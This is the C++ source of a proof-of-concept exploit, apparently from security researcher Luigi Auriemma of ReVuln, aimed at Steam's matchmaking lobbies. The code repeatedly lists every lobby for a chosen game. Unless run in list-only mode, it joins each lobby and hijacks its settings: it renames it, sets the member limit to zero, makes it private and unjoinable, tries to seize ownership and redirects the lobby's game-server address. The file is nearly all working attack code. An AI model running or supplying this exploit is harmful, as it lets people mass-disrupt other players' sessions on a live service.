/*
by Luigi Auriemma - ReVuln

VC\bin\vcvars32.bat
VC\bin\cl.exe steam_lobby_poc.cpp /I ..\sdk\public ..\sdk\redistributable_bin\steam_api.lib /Ox
*/

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")

#define STEAM_API_NODLL
#include "steam/steam_api.h"



int     list_only = 0;
CSteamID m_SteamIDLocalUser;



void exploit(CSteamID id) {
    if(list_only) return;
    printf("- exploiting\n");

    SteamMatchmaking()->JoinLobby(id);  // necessary from 12 Aug 2014

    SteamMatchmaking()->DeleteLobbyData(id, "name");
    SteamMatchmaking()->SetLobbyData(id, "name", "exploit");
    SteamMatchmaking()->SetLobbyMemberData(id, "exploit", "exploit");
    SteamMatchmaking()->SetLobbyMemberLimit(id, 0);
    SteamMatchmaking()->SetLobbyType(id, k_ELobbyTypePrivate);
    SteamMatchmaking()->SetLobbyJoinable(id, FALSE);
    SteamMatchmaking()->SetLobbyOwner(id, m_SteamIDLocalUser);  // not working, just left as reference

    SteamMatchmaking()->SetLobbyGameServer(id, 0x11223344, 1234, id);   // game dependent
}



void show_steamid_info(char *info, CSteamID id) {
    printf("%s %llu - %u %u %u %u\n", info,
        id.ConvertToUint64(),
        id.GetAccountID(), id.GetUnAccountInstance(), id.GetEAccountType(), id.GetEUniverse());
}        



class CLobbyBrowser
{
public:
    int Refresh(bool check_if_terminated) {
        if(check_if_terminated) {
            if((time(NULL) - timestamp) > 10) return 1;   // timeout
            return done;
        }
        
        timestamp = time(NULL);
        done = 0;
		SteamAPICall_t hSteamAPICall = SteamMatchmaking()->RequestLobbyList();
		m_SteamCallResultLobbyMatchList.Set( hSteamAPICall, this, &CLobbyBrowser::OnLobbyMatchListCallback );
        return 0;
    }
private:
    bool    done;
    time_t  timestamp;
	CCallResult<CLobbyBrowser, LobbyMatchList_t> m_SteamCallResultLobbyMatchList;
    void OnLobbyMatchListCallback( LobbyMatchList_t *pCallback, bool bIOFailure ) {
        CSteamID steamIDLobby;
        int     datas;
        char    Key[256],
                Value[256];

        printf("%d lobbies\n", pCallback->m_nLobbiesMatching);
        for ( int iLobby = 0; iLobby < pCallback->m_nLobbiesMatching; iLobby++ )
        {
            steamIDLobby = SteamMatchmaking()->GetLobbyByIndex( iLobby );
            show_steamid_info("\nlobby", steamIDLobby);
            int cLobbyMembers = SteamMatchmaking()->GetNumLobbyMembers( steamIDLobby );
            datas = SteamMatchmaking()->GetLobbyDataCount(steamIDLobby);
            for(int iLobbyData = 0; iLobbyData < datas; iLobbyData++) {
                Key[0] = 0;
                Value[0] = 0;
                SteamMatchmaking()->GetLobbyDataByIndex(steamIDLobby, iLobbyData, Key, sizeof(Key), Value, sizeof(Value));
                printf("  %s: %s\n", Key, Value);
            }

            exploit( steamIDLobby );
        }
        done = 1;
    }
};            



int main(int argc, char *argv[]) {
    if(argc < 2) {
        printf("\n"
            "Usage: %s <appID> [list]\n"
            "\n", argv[0]);
        exit(1);
    }

    SetEnvironmentVariable("SteamAppId", argv[1]);
    SetEnvironmentVariable("SteamGameId", argv[1]);

    if(argc > 2) {
        if(strstr(argv[2], "list") || !strcmp(argv[2], "-l")) list_only = 1;
    }

    if(!SteamAPI_Init()) exit(1);
	if(!SteamUser()->BLoggedOn()) printf("Steam user is not logged in\n");

    m_SteamIDLocalUser = SteamUser()->GetSteamID();
    show_steamid_info("", m_SteamIDLocalUser);
    //SteamFriends()->SetPersonaName(random_name);
    printf("GetPersonaName %s\n", SteamFriends()->GetPersonaName());
    
    CLobbyBrowser *m_pLobbyBrowser = new CLobbyBrowser();
    for(;;) {
        printf("- request list of lobbies:\n");
        m_pLobbyBrowser->Refresh(0);
        while(!m_pLobbyBrowser->Refresh(1)) {
            SteamAPI_RunCallbacks();
            Sleep(10);
        }

        if(list_only) break;
        Sleep(1000);    // one second
    }
    
    SteamAPI_Shutdown();    
    return 0;
}
